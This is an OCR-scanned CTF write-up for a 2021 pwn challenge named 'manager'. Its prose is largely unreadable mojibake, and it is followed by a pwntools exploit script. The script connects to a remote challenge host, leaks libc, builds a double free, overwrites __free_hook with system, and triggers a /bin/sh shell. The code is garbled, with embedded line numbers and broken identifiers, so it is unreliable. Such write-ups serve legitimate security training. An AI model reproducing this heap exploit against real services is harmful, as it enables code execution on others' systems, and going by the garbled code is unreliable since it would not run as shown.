manager

KT 2021-05-25 H 37T 2021-05-26 7025 F Challenge , 2021 , V1 EZLIEH M5 24 A, Pwn
Challenge | 2021 | Z )1 g 2L IE #9925 224 A2 | Pwn | manager

L IEAE SR 77 ELF I il 15 1

WriteUp K J7
K H EqqiefIH %
& H fi
Vilnerable data manager. Try to exploit!
A H K

e Double Free

2
= RS A T, 1 F I IR TS Zodouble free.

IG5 HIFL ML /L T, B E —FIEN LR T s G A T, HA TR To X freefZ iR 5 5507 2 Hi H 1oop
chain. E1EFIHFLIT.


file:///categories/Challenge/
file:///categories/Challenge/2021/
file:///categories/Challenge/2021/%25E7%25AC%25AC%25E5%259B%259B%25E5%25B1%258A%25E7%25BA%25A2%25E5%25B8%25BD%25E6%259D%25AF%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8%25E5%25A4%25A7%25E8%25B5%259B/
file:///categories/Challenge/2021/%25E7%25AC%25AC%25E5%259B%259B%25E5%25B1%258A%25E7%25BA%25A2%25E5%25B8%25BD%25E6%259D%25AF%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8%25E5%25A4%25A7%25E8%25B5%259B/Pwn/
https://www.wolai.com/ctfhub/hWVg6tNRA7AMjfwBn3rt3x
https://eqqie.cn/index.php/laji_note/1655/

from pwn import *

#p = process("./chall", env={"LD PRELOAD":"./libc-2.27.s0"})
p = remote ("47.105.94.48", 12243)

libc = ELF("./libc-2.27.s0")

context.arch = "amd64"

context.log level = "debug"
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# header: 0x555555554000+0x202018

10

11 def add(key:int, length:int, content):

12 p.sendlineafter (b"> ", b"1")

13 p.sendlineafter (b"key> ", str(key).encode())
14 p.sendlineafter (b"len> ", str(length).encode())
15 p.sendafter (b"content> ", content)

16

17 def delete (key:int):

18 p.sendlineafter (b"> ", b"2")

19 p.sendlineafter (b"key> ", str(key).encode())
20

21 def show() :

22 p.sendlineafter (b"> ", b"3")

23

24 def exp():

25 # leak libc

26 add (1, 0x420, b"unsorted")

27 add (2, 0x420, b'"unsorted2")

28 delete (1)

29 delete (2)

30 add (5, 0x10, b"5'"*8)

31 show ()

32 p.recvuntil (b"55555555")

33 libc leak = u64 (p.recvuntil (b"\x0a", drop=True).ljust(8, b"\x00"))
34 libc base = libc leak - 0x3ec090

35 system = libc base + libc.symbols[b"system"]
36 free hook = libc base + libc.symbols[b" free hook"]
37 print ("libc leak:", hex(libc leak))

38 print("libc base:", hex(libc base))

39 print ("system:", hex(system))

40

41 # build double free

42 add(7, 0x10, b"7'"*8)

43 add (6, 0x10, b"6'"*8)

44 add (4, 0x10, b"4'"*8)

45 add (8, 0x10, b"8'"*8)

46 delete (8)

47

48 delete (5)

49 add (10, 0x10, pé4(free hook))

50 add (11, 0x10, b"/bin/sh\x00")

51 add (12, 0x10, pé4(system))

52 print ("free hook:", hex(free hook))

53

54 delete (11)

55 #gdb.attach (p)

56 p.linteractive()

57

58if name == " main ":
59 exp ()
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